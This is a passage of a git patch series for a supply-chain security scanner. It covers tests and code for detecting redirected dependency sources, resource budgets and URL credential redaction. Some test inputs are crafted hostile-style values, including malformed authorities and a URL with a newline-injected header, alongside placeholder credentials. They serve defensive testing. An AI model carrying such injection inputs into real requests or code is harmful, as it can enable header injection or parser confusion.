dataclasses.fields(api.DependencySourceLimitation)} == { + "reason", + "path", + "start_line", + "end_line", + "observed_bytes", + "limit_bytes", + "observed_findings", + "limit_findings", + "observed_depth", + "limit_depth", + "observed_records", + "limit_records", + } + + +@pytest.mark.parametrize( + ("field", "value"), + [ + ("start_line", 0), + ("end_line", 0), + ("observed_bytes", -1), + ("limit_bytes", True), + ("observed_records", False), + ], +) +def test_limitation_rejects_invalid_ranges_and_metrics(field: str, value: object) -> None: + api = _api() + values: dict[str, object] = { + "reason": api.DependencySourceLimitationReason.PARSE_INCOMPLETE, + "path": "pip.conf", + "start_line": 1, + "end_line": 1, + "observed_records": 2, + "limit_records": 1, + } + values[field] = value + + with pytest.raises(ValueError): + api.DependencySourceLimitation(**values) + + +def test_source_change_conversion_is_the_single_safe_finding_boundary() -> None: + api = _api() + change = api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="@acme", + destination="https://REDACTED@packages.example.invalid/private", + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + finding = api.finding_from_source_change(change) + + assert finding.rule_id == "SC10" + assert finding.severity == "HIGH" + assert finding.file == "config/.npmrc" + assert (finding.start_line, finding.end_line) == (1, 1) + assert finding.evidence == { + "ecosystem": "npm", + "surface": "npm config", + "operation": "replace", + "scope": "@acme", + "destination": "https://REDACTED@packages.example.invalid/private", + "destination_status": "resolved", + } + + +def test_file_children_share_every_scan_wide_counter() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = budget.for_file("config/first.conf") + second = budget.for_file("config/second.conf") + + assert first.charge_config_nodes(30_000) is None + assert second.charge_config_nodes(20_000) is None + exhaustion = first.charge_config_nodes(1) + + assert exhaustion == api.DependencyWorkExhaustion( + resource=api.DependencyWorkResource.CONFIG_NODES, + observed=50_001, + limit=50_000, + ) + assert budget.used(api.DependencyWorkResource.CONFIG_NODES) == 50_000 + + +@pytest.mark.parametrize( + ("method_name", "resource", "limit"), + [ + ("charge_config_nodes", "config_nodes", 50_000), + ("charge_retained_literal_bytes", "retained_literal_bytes", 2_000_000), + ("charge_source_records", "source_records", 50_000), + ("charge_emitted_changes", "emitted_changes", 10_000), + ("charge_finding_output_records", "finding_output_records", 10_000), + ], +) +def test_scan_budget_accepts_exact_limit_and_rejects_one_over_atomically( + method_name: str, + resource: str, + limit: int, +) -> None: + api = _api() + budget = api.DependencyWorkBudget() + charge: Callable[[int], Any] = getattr(budget, method_name) + + assert charge(limit) is None + exhaustion = charge(1) + + assert exhaustion.resource is api.DependencyWorkResource(resource) + assert (exhaustion.observed, exhaustion.limit) == (limit + 1, limit) + assert budget.used(api.DependencyWorkResource(resource)) == limit + assert set(dataclasses.asdict(exhaustion)) == {"resource", "observed", "limit"} + + +@pytest.mark.parametrize( + ("method_name", "resource", "limit"), + [ + ("charge_physical_bytes", "physical_bytes", 1_000_000), + ("charge_yaml_aliases", "yaml_aliases", 256), + ("observe_depth", "depth", 64), + ], +) +def test_file_budget_accepts_exact_limit_and_rejects_one_over_atomically( + method_name: str, + resource: str, + limit: int, +) -> None: + api = _api() + file_budget = api.DependencyWorkBudget().for_file("config/source.conf") + charge: Callable[[int], Any] = getattr(file_budget, method_name) + + assert charge(limit) is None + exhaustion = charge(limit + 1 if method_name == "observe_depth" else 1) + + assert exhaustion.resource is api.DependencyWorkResource(resource) + assert exhaustion.limit == limit + assert file_budget.used(api.DependencyWorkResource(resource)) == limit + + +def test_file_children_have_independent_physical_limits_without_multiplying_scan_limits() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = budget.for_file("config/first.conf") + second = budget.for_file("config/second.conf") + + assert first.charge_physical_bytes(1_000_000) is None + assert second.charge_physical_bytes(1_000_000) is None + assert first.charge_physical_bytes(1) is not None + assert first.charge_source_records(30_000) is None + assert second.charge_source_records(20_000) is None + assert second.charge_source_records(1) is not None + + +def test_reopening_same_normalized_path_cannot_reset_per_file_capacity() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = budget.for_file("./config//source.yml") + + assert first.charge_physical_bytes(1_000_000) is None + reopened = budget.for_file("config/source.yml") + exhaustion = reopened.charge_physical_bytes(1) + + assert exhaustion.resource is api.DependencyWorkResource.PHYSICAL_BYTES + assert reopened.used(api.DependencyWorkResource.PHYSICAL_BYTES) == 1_000_000 + + +def test_failed_scan_charge_does_not_mutate_target_or_related_counters() -> None: + api = _api() + budget = api.DependencyWorkBudget() + first = budget.for_file("first.conf") + second = budget.for_file("second.conf") + assert first.charge_emitted_changes(10_000) is None + before = { + resource: budget.used(resource) + for resource in api.DependencyWorkResource + if resource + not in { + api.DependencyWorkResource.PHYSICAL_BYTES, + api.DependencyWorkResource.YAML_ALIASES, + api.DependencyWorkResource.DEPTH, + } + } + + exhaustion = second.charge_emitted_changes(1) + + assert exhaustion.resource is api.DependencyWorkResource.EMITTED_CHANGES + assert {resource: budget.used(resource) for resource in before} == before + + +def test_finding_capacity_starts_from_existing_public_output_record_footprint() -> None: + api = _api() + existing = Finding( + rule_id="SC1", + message="existing", + occurrences=[{"file": "SKILL.md", "start_line": 1}] * 9_999, + ) + budget = api.DependencyWorkBudget.from_existing(findings=[existing], ledger_events=[]) + + assert budget.charge_finding_output_records(1) is None + exhaustion = budget.charge_finding_output_records(1) + + assert exhaustion.observed == 10_001 + assert exhaustion.limit == 10_000 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 10_000 + + +def test_ledger_budget_reserves_one_truncation_slot_at_9_999_existing_rows() -> None: + api = _api() + budget = api.DependencyWorkBudget.from_existing(findings=[], ledger_events=[{}] * 9_999) + + normal_exhaustion = budget.charge_ledger_events(1) + + assert normal_exhaustion.resource is api.DependencyWorkResource.LEDGER_EVENTS + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 9_999 + assert budget.claim_reserved_truncation_event() is None + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 + assert budget.claim_reserved_truncation_event() is not None + + +def test_ledger_budget_allows_one_normal_row_plus_reserved_slot_at_9_998() -> None: + api = _api() + budget = api.DependencyWorkBudget.from_existing(findings=[], ledger_events=[{}] * 9_998) + + assert budget.charge_ledger_events(1) is None + assert budget.charge_ledger_events(1) is not None + assert budget.claim_reserved_truncation_event() is None + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 + + +def test_reserved_truncation_slot_can_be_claimed_once_across_file_siblings() -> None: + api = _api() + budget = api.DependencyWorkBudget.from_existing(findings=[], ledger_events=[{}] * 9_999) + first = budget.for_file("first.conf") + second = budget.for_file("second.conf") + + assert first.claim_reserved_truncation_event() is None + assert second.claim_reserved_truncation_event() is not None + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 + + +def test_full_existing_ledger_has_no_fabricated_truncation_slot() -> None: + api = _api() + budget = api.DependencyWorkBudget.from_existing(findings=[], ledger_events=[{}] * 10_000) + + exhaustion = budget.claim_reserved_truncation_event() + + assert exhaustion.resource is api.DependencyWorkResource.LEDGER_EVENTS + assert (exhaustion.observed, exhaustion.limit) == (10_001, 10_000) + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 10_000 + + +@pytest.mark.parametrize( + "method_name", + [ + "charge_config_nodes", + "charge_retained_literal_bytes", + "charge_source_records", + "charge_emitted_changes", + "charge_finding_output_records", + "charge_ledger_events", + ], +) +@pytest.mark.parametrize("invalid", [-1, True, False]) +def test_scan_charges_reject_negative_and_boolean_counts( + method_name: str, + invalid: int | bool, +) -> None: + api = _api() + budget = api.DependencyWorkBudget() + + with pytest.raises(ValueError): + getattr(budget, method_name)(invalid) + + +@pytest.mark.parametrize( + "method_name", ["charge_physical_bytes", "charge_yaml_aliases", "observe_depth"] +) +@pytest.mark.parametrize("invalid", [-1, True, False]) +def test_file_charges_reject_negative_and_boolean_counts( + method_name: str, + invalid: int | bool, +) -> None: + api = _api() + file_budget = api.DependencyWorkBudget().for_file("config/source.conf") + + with pytest.raises(ValueError): + getattr(file_budget, method_name)(invalid) diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py new file mode 100644 index 00000000..c63e24a6 --- /dev/null +++ b/tests/unit/test_url_redaction.py @@ -0,0 +1,322 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Unit contracts for bounded dependency-source credential redaction.""" + +from __future__ import annotations + +import importlib +from typing import Any + +import pytest + + +def _api() -> Any: + """Import the real redactor while keeping the initial TDD run collectable.""" + try: + return importlib.import_module("skillspector.url_redaction") + except ImportError: + pytest.fail("dependency-source URL redaction is unavailable") + + +def test_canonical_registry_url_has_pinned_safe_output() -> None: + api = _api() + raw = ( + "https://alice:supersecret@packages.example.invalid/private" + "?token=querysecret&channel=stable#fragmentsecret" + ) + + redacted = api.redact_url(raw) + + assert redacted == ( + "https://REDACTED@packages.example.invalid/private?token=REDACTED&channel=stable" + ) + for sentinel in ("alice", "supersecret", "querysecret", "fragmentsecret"): + assert sentinel not in redacted + + +@pytest.mark.parametrize( + "query_key", + [ + "AUTH", + "credential", + "apiKey", + "password", + "client_secret", + "X-Amz-Signature", + "access_to%6ben", + "API%5FKEY", + "%74oken", + ], +) +def test_credential_semantic_query_keys_are_decoded_and_redacted(query_key: str) -> None: + api = _api() + sentinel = "query-value-secret-98b11" + + redacted = api.redact_url( + f"https://packages.example.invalid/simple?{query_key}={sentinel}&channel=stable" + ) + + assert sentinel not in redacted + assert f"{query_key}=REDACTED" in redacted + assert "channel=stable" in redacted + + +@pytest.mark.parametrize( + "raw", + [ + "ssh://ssh-user:ssh-secret-0d9f@git.example.invalid/org/repo.git#fragment-secret", + "git+https://git-user:git-secret-a941@git.example.invalid/org/repo.git?auth=query-secret", + "git+ssh://agent:agent-secret-c2ab@git.example.invalid/org/repo.git", + "scp-user-secret@git.example.invalid:org/repo.git#scp-fragment-secret", + ], +) +def test_ssh_git_and_scp_like_forms_remove_userinfo_fragments_and_secret_queries(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + for sentinel in ( + "ssh-user", + "ssh-secret", + "git-user", + "git-secret", + "query-secret", + "agent-secret", + "scp-user-secret", + "fragment-secret", + "scp-fragment-secret", + ): + assert sentinel not in redacted + assert "git.example.invalid" in redacted + assert "org/repo.git" in redacted + assert "REDACTED" in redacted + + +@pytest.mark.parametrize( + "raw", + [ + "https://user:malformed-secret@[broken.example.invalid/repo", + "https://user:port-secret@packages.example.invalid:notaport/repo", + "https://user:percent-secret@packages.example.invalid/repo?to%ZZken=value-secret", + ], +) +def test_malformed_suspicious_urls_fail_closed_without_throwing(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted.lower() + + +@pytest.mark.parametrize( + "raw", + [ + "https://user:range-secret@packages.example.invalid:99999/repo", + "https://user:ipv6-secret@[2001:db8::1/repo", + "https://user:nfkc-secret@exam\uff0fple.invalid/repo", + "https://first:multiple-secret@second@packages.example.invalid/repo", + "https://user:slash-secret@packages.example.invalid\\@other.invalid/repo", + "https://user:control-secret@packages.example.invalid/repo\nInjected: value", + ], +) +def test_ambiguous_authorities_and_urlsplit_normalization_traps_fail_closed(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted.lower() + + +def test_query_redaction_preserves_nonsensitive_raw_order_duplicates_blanks_flags_and_encoding() -> ( + None +): + api = _api() + raw = ( + "https://packages.example.invalid/simple?" + "channel=one&token=token-secret&channel=two&blank=&flag&encoded=a%2Fb&" + "API%5FKEY=key-secret&%74oken=decoded-secret" + ) + + redacted = api.redact_url(raw) + + assert redacted == ( + "https://packages.example.invalid/simple?" + "channel=one&token=REDACTED&channel=two&blank=&flag&encoded=a%2Fb&" + "API%5FKEY=REDACTED&%74oken=REDACTED" + ) + + +@pytest.mark.parametrize("query_key", ["monkey", "compass", "tokenizer", "secretary"]) +def test_query_key_substrings_that_are_not_credential_semantics_remain_unchanged( + query_key: str, +) -> None: + api = _api() + raw = f"https://packages.example.invalid/simple?{query_key}=visible-value" + + assert api.redact_url(raw) == raw + + +def test_embedded_urls_are_redacted_without_changing_surrounding_free_text() -> None: + api = _api() + sentinel = "embedded-secret-741e" + raw_url = f"https://user:{sentinel}@packages.example.invalid/private?channel=stable" + text = f"Use registry {raw_url} for the build, then continue." + + redacted = api.redact_text(text) + + assert redacted == ( + "Use registry https://REDACTED@packages.example.invalid/private?channel=stable " + "for the build, then continue." + ) + assert sentinel not in redacted + + +def test_ordinary_no_match_text_is_byte_for_byte_unchanged() -> None: + api = _api() + text = "Keep punctuation, Unicode ☃, paths ./src, and email dev@example.invalid exactly." + + assert api.redact_text(text) == text + + +def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: + api = _api() + first_secret = "first-bound-secret" + second_secret = "second-bound-secret" + text = ( + f"https://user:{first_secret}@one.example.invalid/repo " + f"https://user:{second_secret}@two.example.invalid/repo" + ) + + candidate_bounded = api.redact_text(text, max_candidates=1) + character_bounded = api.redact_text(text, max_characters=24) + + assert first_secret not in candidate_bounded + assert second_secret not in candidate_bounded + assert api.REDACTED_REMAINDER in candidate_bounded + assert first_secret not in character_bounded + assert second_secret not in character_bounded + assert api.REDACTED_REMAINDER in character_bounded + + +def test_direct_url_redaction_fails_closed_when_character_bound_is_exhausted() -> None: + api = _api() + sentinel = "direct-bound-secret" + raw = f"https://user:{sentinel}@packages.example.invalid/private" + + assert api.redact_url(raw, max_characters=16) == api.REDACTED_URL + + +def test_nested_values_are_sanitized_without_rewriting_code_owned_keys_or_container_types() -> None: + api = _api() + https_secret = "nested-https-secret" + ssh_secret = "nested-ssh-secret" + prose_secret = "nested-prose-secret" + value = { + "registry_url": f"https://user:{https_secret}@packages.example.invalid/private", + "details": [ + f"ssh://user:{ssh_secret}@git.example.invalid/org/repo.git", + (f"Mirror: https://user:{prose_secret}@mirror.example.invalid/simple", 7), + ], + "enabled": True, + } + + redacted = api.redact_value(value) + + assert set(redacted) == {"registry_url", "details", "enabled"} + assert isinstance(redacted["details"], list) + assert isinstance(redacted["details"][1], tuple) + assert redacted["details"][1][1] == 7 + assert redacted["enabled"] is True + rendered = repr(redacted) + for sentinel in (https_secret, ssh_secret, prose_secret): + assert sentinel not in rendered + assert "packages.example.invalid/private" in rendered + assert "git.example.invalid/org/repo.git" in rendered + + +def test_nested_redaction_fails_closed_at_depth_and_item_bounds() -> None: + api = _api() + depth_secret = "depth-bound-secret" + item_secret = "item-bound-secret" + + depth_bounded = api.redact_value( + {"outer": {"inner": f"https://user:{depth_secret}@packages.example.invalid/repo"}}, + max_depth=1, + ) + item_bounded = api.redact_value( + { + "first": "safe", + "second": f"https://user:{item_secret}@packages.example.invalid/repo", + }, + max_nodes=2, + ) + + assert depth_secret not in repr(depth_bounded) + assert item_secret not in repr(item_bounded) + assert api.REDACTED_VALUE in repr(depth_bounded) + assert api.REDACTED_VALUE in repr(item_bounded) + + +def test_recursive_value_exact_depth_and_node_bounds_succeed_but_one_over_is_redacted() -> None: + api = _api() + depth_secret = "one-over-depth-secret" + node_secret = "one-over-node-secret" + exact_depth = {"outer": {"leaf": "safe"}} + over_depth = {"outer": {"inner": {"leaf": f"https://user:{depth_secret}@host.invalid/x"}}} + exact_nodes = {"leaf": "safe"} + over_nodes = { + "first": "safe", + "second": f"https://user:{node_secret}@host.invalid/x", + } + + assert api.redact_value(exact_depth, max_depth=2) == exact_depth + depth_result = api.redact_value(over_depth, max_depth=2) + assert depth_secret not in repr(depth_result) + assert api.REDACTED_VALUE in repr(depth_result) + assert api.redact_value(exact_nodes, max_nodes=2) == exact_nodes + node_result = api.redact_value(over_nodes, max_nodes=2) + assert node_secret not in repr(node_result) + assert api.REDACTED_VALUE in repr(node_result) + + +def test_recursive_value_self_reference_terminates_fail_closed() -> None: + api = _api() + value: list[object] = [] + value.append(value) + + redacted = api.redact_value(value) + + assert redacted == [api.REDACTED_VALUE] + + +@pytest.mark.parametrize( + "function_name", + ["redact_url", "redact_text"], +) +def test_string_redactors_are_deterministic_and_idempotent(function_name: str) -> None: + api = _api() + function = getattr(api, function_name) + raw = ( + "Prefix " if function_name == "redact_text" else "" + ) + "https://user:idempotent-secret@packages.example.invalid/repo?token=query-secret" + + first = function(raw) + + assert function(raw) == first + assert function(first) == first + + +def test_recursive_value_redaction_is_idempotent() -> None: + api = _api() + value = { + "url": "https://user:value-secret@packages.example.invalid/repo", + "items": ("plain",), + } + + first = api.redact_value(value) + + assert api.redact_value(value) == first + assert api.redact_value(first) == first From 3d7a4542583f733ab5cf904918b545b26979df64 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 16:34:38 -0700 Subject: [PATCH 07/30] feat(sc10): add dependency source contracts Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 514 ++++++++++++++++++++ src/skillspector/url_redaction.py | 279 +++++++++++ tests/unit/test_dependency_source_types.py | 55 +++ tests/unit/test_url_redaction.py | 55 ++- 4 files changed, 902 insertions(+), 1 deletion(-) create mode 100644 src/skillspector/dependency_source_types.py create mode 100644 src/skillspector/url_redaction.py diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py new file mode 100644 index 00000000..d1f63400 --- /dev/null +++ b/src/skillspector/dependency_source_types.py @@ -0,0 +1,514 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Shared semantic and resource contracts for dependency-source analysis.""" + +from __future__ import annotations + +from collections.abc import Iterable +from dataclasses import dataclass, field +from enum import StrEnum +from typing import Final + +from skillspector.models import Finding +from skillspector.url_redaction import redact_text, redact_url + +MAX_DEPENDENCY_CONFIG_NODES: Final = 50_000 +MAX_DEPENDENCY_RETAINED_LITERAL_BYTES: Final = 2_000_000 +MAX_DEPENDENCY_SOURCE_RECORDS: Final = 50_000 +MAX_DEPENDENCY_SOURCE_CHANGES: Final = 10_000 +MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS: Final = 10_000 +MAX_DEPENDENCY_LEDGER_EVENTS: Final = 10_000 +MAX_DEPENDENCY_FILE_BYTES: Final = 1_000_000 +MAX_DEPENDENCY_YAML_ALIASES: Final = 256 +MAX_DEPENDENCY_CONFIG_DEPTH: Final = 64 + + +class DestinationStatus(StrEnum): + """Whether a source destination is literal or conservatively unresolved.""" + + RESOLVED = "resolved" + UNRESOLVED = "unresolved" + + +class DependencySourceLimitationReason(StrEnum): + """Safe local reason codes mapped to ledger reasons only at integration time.""" + + PARSE_INCOMPLETE = "dependency_source_parse_incomplete" + UNSCANNED_EXECUTABLE_CONTENT = "unscanned_executable_content" + + +class DependencyWorkResource(StrEnum): + """Code-owned names for every dependency-source resource counter.""" + + CONFIG_NODES = "config_nodes" + RETAINED_LITERAL_BYTES = "retained_literal_bytes" + SOURCE_RECORDS = "source_records" + EMITTED_CHANGES = "emitted_changes" + FINDING_OUTPUT_RECORDS = "finding_output_records" + LEDGER_EVENTS = "ledger_events" + PHYSICAL_BYTES = "physical_bytes" + YAML_ALIASES = "yaml_aliases" + DEPTH = "depth" + + +def _require_nonnegative_integer(value: object, name: str) -> int: + if type(value) is not int or value < 0: + raise ValueError(f"{name} must be a non-negative integer") + return value + + +def _normalize_relative_posix_path(path: object) -> str: + if not isinstance(path, str) or not path or "\\" in path or "\x00" in path: + raise ValueError("path must be a relative POSIX path") + if path.startswith("/") or path.startswith("//"): + raise ValueError("path must be a relative POSIX path") + if len(path) >= 2 and path[1] == ":": + raise ValueError("path must be a relative POSIX path") + parts = path.split("/") + if any(part == ".." for part in parts): + raise ValueError("path must not contain parent traversal") + normalized = "/".join(part for part in parts if part not in {"", "."}) + if not normalized: + raise ValueError("path must identify a file") + return normalized + + +def _require_nonempty_semantic(value: object, name: str) -> str: + if not isinstance(value, str) or not value.strip() or len(value) > 256: + raise ValueError(f"{name} must be a bounded non-empty semantic value") + if redact_text(value) != value: + raise ValueError(f"{name} must not contain credential-bearing text") + return value + + +@dataclass(frozen=True, slots=True) +class SourceSpan: + """A source range using canonical UTF-8 byte and one-based line coordinates.""" + + path: str + start_byte: int + end_byte: int + start_line: int + end_line: int + + def __post_init__(self) -> None: + object.__setattr__(self, "path", _normalize_relative_posix_path(self.path)) + start_byte = _require_nonnegative_integer(self.start_byte, "start_byte") + end_byte = _require_nonnegative_integer(self.end_byte, "end_byte") + start_line = _require_nonnegative_integer(self.start_line, "start_line") + end_line = _require_nonnegative_integer(self.end_line, "end_line") + if end_byte < start_byte: + raise ValueError("byte range must be zero-based and half-open") + if start_line < 1 or end_line < start_line: + raise ValueError("line range must be positive and inclusive") + + +@dataclass(frozen=True, slots=True) +class SourceChange: + """One sanitized, command-independent dependency-source semantic change.""" + + ecosystem: str + surface: str + operation: str + scope: str + destination: str + destination_status: DestinationStatus + span: SourceSpan + + def __post_init__(self) -> None: + for name in ("ecosystem", "surface", "operation", "scope"): + _require_nonempty_semantic(getattr(self, name), name) + try: + status = DestinationStatus(self.destination_status) + except (TypeError, ValueError): + raise ValueError("destination_status is invalid") from None + object.__setattr__(self, "destination_status", status) + if not isinstance(self.span, SourceSpan): + raise ValueError("span must be a SourceSpan") + if status is DestinationStatus.UNRESOLVED: + if self.destination != "unresolved": + raise ValueError("an unresolved destination must use the canonical placeholder") + return + if ( + not isinstance(self.destination, str) + or not self.destination + or self.destination == "unresolved" + or redact_url(self.destination) != self.destination + or redact_text(self.destination) != self.destination + ): + raise ValueError("a resolved destination must already be safely redacted") + + +_METRIC_FIELDS: Final = ( + "observed_bytes", + "limit_bytes", + "observed_findings", + "limit_findings", + "observed_depth", + "limit_depth", + "observed_records", + "limit_records", +) + + +@dataclass(frozen=True, slots=True) +class DependencySourceLimitation: + """Localized, content-free incomplete-analysis evidence for ledger integration.""" + + reason: DependencySourceLimitationReason + path: str + start_line: int + end_line: int + observed_bytes: int | None = None + limit_bytes: int | None = None + observed_findings: int | None = None + limit_findings: int | None = None + observed_depth: int | None = None + limit_depth: int | None = None + observed_records: int | None = None + limit_records: int | None = None + + def __post_init__(self) -> None: + try: + reason = DependencySourceLimitationReason(self.reason) + except (TypeError, ValueError): + raise ValueError("limitation reason is invalid") from None + object.__setattr__(self, "reason", reason) + object.__setattr__(self, "path", _normalize_relative_posix_path(self.path)) + start_line = _require_nonnegative_integer(self.start_line, "start_line") + end_line = _require_nonnegative_integer(self.end_line, "end_line") + if start_line < 1 or end_line < start_line: + raise ValueError("limitation line range must be positive and inclusive") + for field_name in _METRIC_FIELDS: + value = getattr(self, field_name) + if value is not None: + _require_nonnegative_integer(value, field_name) + for observed_name, limit_name in ( + ("observed_bytes", "limit_bytes"), + ("observed_findings", "limit_findings"), + ("observed_depth", "limit_depth"), + ("observed_records", "limit_records"), + ): + if (getattr(self, observed_name) is None) != (getattr(self, limit_name) is None): + raise ValueError("limitation metrics must use observed/limit pairs") + + def ledger_metrics(self) -> dict[str, int]: + """Return only ledger-compatible numeric fields that are present.""" + return { + field_name: value + for field_name in _METRIC_FIELDS + if (value := getattr(self, field_name)) is not None + } + + +@dataclass(frozen=True, slots=True) +class DependencySourceParseResult: + """Sanitized parser or adapter output.""" + + changes: tuple[SourceChange, ...] = () + limitations: tuple[DependencySourceLimitation, ...] = () + + def __post_init__(self) -> None: + changes = tuple(self.changes) + limitations = tuple(self.limitations) + if not all(isinstance(change, SourceChange) for change in changes): + raise ValueError("changes must contain SourceChange values") + if not all(isinstance(item, DependencySourceLimitation) for item in limitations): + raise ValueError("limitations must contain DependencySourceLimitation values") + object.__setattr__(self, "changes", changes) + object.__setattr__(self, "limitations", limitations) + + +@dataclass(frozen=True, slots=True) +class DependencySourceAnalysis: + """Public deterministic findings plus any localized analysis limitations.""" + + findings: tuple[Finding, ...] = () + limitations: tuple[DependencySourceLimitation, ...] = () + + def __post_init__(self) -> None: + findings = tuple(self.findings) + limitations = tuple(self.limitations) + if not all(isinstance(finding, Finding) for finding in findings): + raise ValueError("findings must contain Finding values") + if not all(isinstance(item, DependencySourceLimitation) for item in limitations): + raise ValueError("limitations must contain DependencySourceLimitation values") + object.__setattr__(self, "findings", findings) + object.__setattr__(self, "limitations", limitations) + + +def finding_from_source_change(change: SourceChange) -> Finding: + """Convert one sanitized semantic change at the sole public finding boundary.""" + evidence: dict[str, object] = { + "ecosystem": change.ecosystem, + "surface": change.surface, + "operation": change.operation, + "scope": change.scope, + "destination": change.destination, + "destination_status": change.destination_status.value, + } + return Finding( + rule_id="SC10", + message="Dependency source redirects away from its canonical default", + severity="HIGH", + confidence=1.0, + file=change.span.path, + start_line=change.span.start_line, + end_line=change.span.end_line, + category="supply-chain", + finding=f"{change.operation} source: {change.destination}", + remediation="Review the configured dependency source before installing dependencies.", + tags=["dependency-source", change.ecosystem], + matched_text=change.destination, + evidence=evidence, + ) + + +@dataclass(frozen=True, slots=True) +class DependencyWorkExhaustion: + """Content-free typed evidence that one resource charge could not be reserved.""" + + resource: DependencyWorkResource + observed: int + limit: int + + def __post_init__(self) -> None: + try: + resource = DependencyWorkResource(self.resource) + except (TypeError, ValueError): + raise ValueError("dependency work resource is invalid") from None + object.__setattr__(self, "resource", resource) + _require_nonnegative_integer(self.observed, "observed") + _require_nonnegative_integer(self.limit, "limit") + + def ledger_metrics(self) -> dict[str, int]: + """Project the resource count into compatible inspection-ledger metrics.""" + if self.resource in { + DependencyWorkResource.PHYSICAL_BYTES, + DependencyWorkResource.RETAINED_LITERAL_BYTES, + }: + prefix = "bytes" + elif self.resource in { + DependencyWorkResource.EMITTED_CHANGES, + DependencyWorkResource.FINDING_OUTPUT_RECORDS, + }: + prefix = "findings" + elif self.resource is DependencyWorkResource.DEPTH: + prefix = "depth" + else: + prefix = "records" + return {f"observed_{prefix}": self.observed, f"limit_{prefix}": self.limit} + + +_SCAN_LIMITS: Final[dict[DependencyWorkResource, int]] = { + DependencyWorkResource.CONFIG_NODES: MAX_DEPENDENCY_CONFIG_NODES, + DependencyWorkResource.RETAINED_LITERAL_BYTES: MAX_DEPENDENCY_RETAINED_LITERAL_BYTES, + DependencyWorkResource.SOURCE_RECORDS: MAX_DEPENDENCY_SOURCE_RECORDS, + DependencyWorkResource.EMITTED_CHANGES: MAX_DEPENDENCY_SOURCE_CHANGES, + DependencyWorkResource.FINDING_OUTPUT_RECORDS: MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS, + DependencyWorkResource.LEDGER_EVENTS: MAX_DEPENDENCY_LEDGER_EVENTS, +} +_FILE_LIMITS: Final[dict[DependencyWorkResource, int]] = { + DependencyWorkResource.PHYSICAL_BYTES: MAX_DEPENDENCY_FILE_BYTES, + DependencyWorkResource.YAML_ALIASES: MAX_DEPENDENCY_YAML_ALIASES, + DependencyWorkResource.DEPTH: MAX_DEPENDENCY_CONFIG_DEPTH, +} + + +class DependencyWorkBudget: + """The sole owner of scan-wide SC10 resource counters and per-file views.""" + + def __init__( + self, + *, + existing_finding_output_records: int = 0, + existing_ledger_events: int = 0, + ) -> None: + existing_findings = _require_nonnegative_integer( + existing_finding_output_records, "existing_finding_output_records" + ) + existing_ledger = _require_nonnegative_integer( + existing_ledger_events, "existing_ledger_events" + ) + if existing_findings > MAX_DEPENDENCY_FINDING_OUTPUT_RECORDS: + raise ValueError("existing finding output exceeds the dependency-source ceiling") + if existing_ledger > MAX_DEPENDENCY_LEDGER_EVENTS: + raise ValueError("existing ledger output exceeds the dependency-source ceiling") + self._used: dict[DependencyWorkResource, int] = dict.fromkeys(_SCAN_LIMITS, 0) + self._used[DependencyWorkResource.FINDING_OUTPUT_RECORDS] = existing_findings + self._used[DependencyWorkResource.LEDGER_EVENTS] = existing_ledger + self._truncation_slot_available = existing_ledger < MAX_DEPENDENCY_LEDGER_EVENTS + self._file_budgets: dict[str, DependencyFileBudget] = {} + + @classmethod + def from_existing( + cls, + *, + findings: Iterable[Finding], + ledger_events: Iterable[object], + ) -> DependencyWorkBudget: + """Initialize remaining capacity from real public-output and ledger footprints.""" + finding_records = sum(max(1, len(finding.occurrences)) for finding in findings) + ledger_records = sum(1 for _event in ledger_events) + return cls( + existing_finding_output_records=finding_records, + existing_ledger_events=ledger_records, + ) + + def for_file(self, path: str) -> DependencyFileBudget: + """Return the persistent per-file view for one normalized artifact path.""" + normalized = _normalize_relative_posix_path(path) + child = self._file_budgets.get(normalized) + if child is None: + child = DependencyFileBudget(self, normalized) + self._file_budgets[normalized] = child + return child + + def used(self, resource: DependencyWorkResource) -> int: + """Return a scan-wide counter without exposing mutable budget state.""" + try: + normalized = DependencyWorkResource(resource) + except (TypeError, ValueError): + raise ValueError("dependency work resource is invalid") from None + if normalized not in _SCAN_LIMITS: + raise ValueError("resource is per-file") + return self._used[normalized] + + def _charge( + self, + resource: DependencyWorkResource, + count: int, + ) -> DependencyWorkExhaustion | None: + value = _require_nonnegative_integer(count, "count") + current = self._used[resource] + limit = _SCAN_LIMITS[resource] + observed = current + value + if observed > limit: + return DependencyWorkExhaustion(resource, observed, limit) + self._used[resource] = observed + return None + + def charge_config_nodes(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge(DependencyWorkResource.CONFIG_NODES, count) + + def charge_retained_literal_bytes(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge(DependencyWorkResource.RETAINED_LITERAL_BYTES, count) + + def charge_source_records(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge(DependencyWorkResource.SOURCE_RECORDS, count) + + def charge_emitted_changes(self, count: int) -> DependencyWorkExhaustion | None: + return self._charge(DependencyWorkResource.EMITTED_CHANGES, count) + + def 